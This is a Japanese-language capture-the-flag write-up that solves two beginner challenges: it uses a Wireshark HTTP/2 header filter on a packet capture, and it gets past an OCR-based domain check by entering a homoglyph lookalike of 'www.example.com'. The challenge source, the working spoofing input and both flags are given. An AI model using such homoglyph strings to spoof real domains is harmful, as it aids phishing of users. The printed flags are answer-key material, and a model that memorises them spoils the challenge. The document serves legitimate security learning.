正解の path へアクセスすると x-flag というヘッダ付でレスポンスが返ってきます。フラグが <secret> に入っているのかは非自明ですが、とりあえず wireshark で x-flag のついてるレスポンスを探します。 目 grep で頑張ろうと思いましたが量が多くて無理でした… filter をあれこれ試してみると、 http2.header.name=="x-flag" という filter で所望のレスポンスを絞り出すことができました。
Header: x-flag: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding} Name Length: 6 Name: x-flag Value Length: 42 Value: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding} [Unescaped: ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}] Representation: Literal Header Field with Incremental Indexing - New Name
ctf4b{http2_uses_HPACK_and_huffm4n_c0ding}
phisher
238 solves
phisher.pyimport os import pyocr import random import string import cv2 as cv import numpy as np from PIL import ImageFont, ImageDraw, Image flag = os.getenv("CTF4B_FLAG") fqdn = "www.example.com" # TEXT to PNG def text2png(text:str) -> str: os.makedirs("phish", exist_ok=True) filename = "".join([random.choice(string.ascii_letters) for i in range(15)]) png = f"phish/{filename}.png" img = np.full((100, 600, 3), 0, dtype=np.uint8) font = ImageFont.truetype("font/Murecho-Black.ttf", 64) img_pil = Image.fromarray(img) ImageDraw.Draw(img_pil).text((10, 0), text[:15], font=font, fill=(255, 255, 255)) # text[:15] :) img = np.array(img_pil) cv.imwrite(png, img) return png # PNG to TEXT (OCR-English) def ocr(image:str) -> str: tool = pyocr.get_available_tools()[0] text = tool.image_to_string(Image.open(image), lang="eng") # os.remove(image) if not text: text = "???????????????" return text # Can you deceive the OCR? # Give me "www.example.com" without using "www.example.com" !!! def phishing() -> None: input_fqdn = input("FQDN: ")[:15] ocr_fqdn = ocr(text2png(input_fqdn)) if ocr_fqdn == fqdn: # [OCR] OK !!! for c in input_fqdn: if c in fqdn: global flag flag = f"\"{c}\" is included in \"www.example.com\" ;(" break print(flag) else: # [OCR] NG print(f"\"{ocr_fqdn}\" is not \"www.example.com\" !!!!") if __name__ == "__main__": print(""" _ _ _ ____ __ _ __ | |__ (_)___| |__ ___ _ __ / /\ \ / / | '_ \| '_ \| / __| '_ \ / _ \ '__| / / \ \/ / | |_) | | | | \__ \ | | | __/ | \ \ / /\ \\ | .__/|_| |_|_|___/_| |_|\___|_| \_\/_/ \_\\ |_| """) phishing()
www.example.com という文字列を使わずに、 OCR の結果が www.example.com となる文字列を探す問題です (激ムズ) まずは https://www.irongeek.com/homoglyph-attack-generator.php で似ている文字を列挙し、 OCR 結果が妥当なものになるものをポチポチ試していきました。対応しているフォントはあまり多くなく、豆腐を何度も見ました…これで www 以外はなんとかなりました。 w はレパートリーが少なくて困っていたのですが、 https://github.com/codebox/homoglyph/blob/master/raw_data/chars.txt で w の行を見るといくつか使えそうなものがありました。 最終的には ᴡᴡᴡ․еⅹаⅿρⅼе․ⅽоⅿ という入力で成功しました。
ctf4b{n16h7_ph15h1n6_15_600d}
これが238も解かれているの理解に苦しみます。今回解けた問題の中では一番苦戦した気がする…